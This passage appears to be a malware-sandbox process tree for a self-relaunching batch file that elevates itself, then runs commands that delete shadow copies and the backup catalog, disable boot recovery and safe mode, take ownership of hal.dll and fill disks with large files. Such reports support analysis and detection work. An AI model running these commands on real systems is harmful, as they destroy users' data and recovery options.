      PID:15840
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8240
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:1300
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:8252
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:16052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat' -Verb RunAs"
      4⤵
      Enumerates connected drives
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:12952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8264
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:12780
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:10428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8276
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15000
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:10348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:8288
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:1036
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15548
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat' -Verb RunAs"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:15016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8300
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:14204
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:7820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8312
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:1292
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8324
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:14432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8336
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15848
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:12332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8348
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:11612
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8360
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15708
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat' -Verb RunAs"
      4⤵
      Enumerates connected drives
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:15056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8384
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:3444
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8396
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:13644
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:14268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8408
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:1776
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat' -Verb RunAs"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:13224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8420
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:13924
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8444
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:14680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:8456
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:13004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8468
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:11412
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:7880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8528
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8572
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:13116
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:1248
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:8976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8620
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:10968
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8632
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15668
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8644
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:12072
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:14680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8668
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:8596
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:7900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:8692
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:8704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:8728
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:10528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8740
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:14520
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8752
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:8032
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15784
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:14228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8764
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:7864
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8788
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat' -Verb RunAs"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:13424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8800
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:12564
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:8812
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:5072
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:984
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:13144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8824
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:12592
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:5600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8836
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:16160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8860
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:5760
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:16004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8884
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:12152
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15308
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:15492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8920
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:12940
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:16168
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat' -Verb RunAs"
      4⤵
      Enumerates connected drives
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:15728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:8932
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15684
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8944
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:12564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat' -Verb RunAs"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:15248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:8964
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15988
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:9788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:9732
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:14200
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:9744
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:16024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:9756
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:11756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:10488
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15416
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:12568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:9472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:2916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:11448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:11680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:14660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:14236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Drops file in System32 directory
  PID:3148
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:4968
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4208
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4344
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4880
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4328
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:304
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:1592
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:296
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4080
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:296
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:5308
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew C:\payload_fill.bin 10737418240
    3⤵
    PID:5960
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew F:\payload_fill.bin 10737418240
    3⤵
    PID:5244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:5724
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:6332
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:6444
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:7464
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:7340
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:12760
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:14228
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Reads the TCP/IP host and domain name from the registry
      PID:6640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:5216
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:5832
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:5312
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:7764
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:12168
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:15308
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      PID:15652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:5604
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5140
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:8096
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:6352
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:12392
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:4436
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:11956
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:15512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6652
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:7856
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:4004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7148
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3108
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:11388
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:13252
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:14520
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:1272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7160
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:7140
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:7520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6188
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6084
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:1112
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:11648
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:7036
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:8848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:5988
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:12028
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:11484
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:7948
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:15380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8008
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:9680
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:11656
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:7776
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:14396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8580
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15856
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat' -Verb RunAs"
      4⤵
